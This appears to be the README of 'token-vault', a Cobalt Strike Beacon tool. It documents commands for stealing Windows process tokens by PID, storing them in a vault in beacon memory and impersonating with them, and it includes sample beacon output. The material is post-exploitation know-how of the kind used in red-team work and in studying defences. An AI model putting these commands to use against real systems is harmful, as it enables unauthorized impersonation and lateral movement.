Create a new token vault: token-vault create
Steal and store tokens: token-vault steal <comma separated list of PIDs> [vault-id]
Use the stored token: token-vault use <token-id> [vault-id]
Show the stored tokens: token-vault show [vault-id]
Remove the stored token: token-vault remove <token-id> [vault-id]
Remove all tokens: token-vault remove-all [vault-id]

Vault Creation
The token-vault create
command allocates an empty vault from the beacon's heap.
The received output contains the memory address of the vault (a.k.a. vault id),
which is used to specify the vault for the other token-vault
commands.
beacon> token-vault create
[*] Token Vault - create (@henkru)
[+] host called home, sent: 2991 bytes
[+] received output:
token vault created: 0000000000C31610
Additionally, a specific vault id can be set as a default vault which is used
if a token-vault
command does not include the vault id.
beacon> token-vault set 0000000000C31610
It is important to note that configured default vaults live inside the Cobalt Strike client and are not shared between clients.
Steal token
The token-vault steal
command duplicates the given processes' tokens and stores
them in the vault.
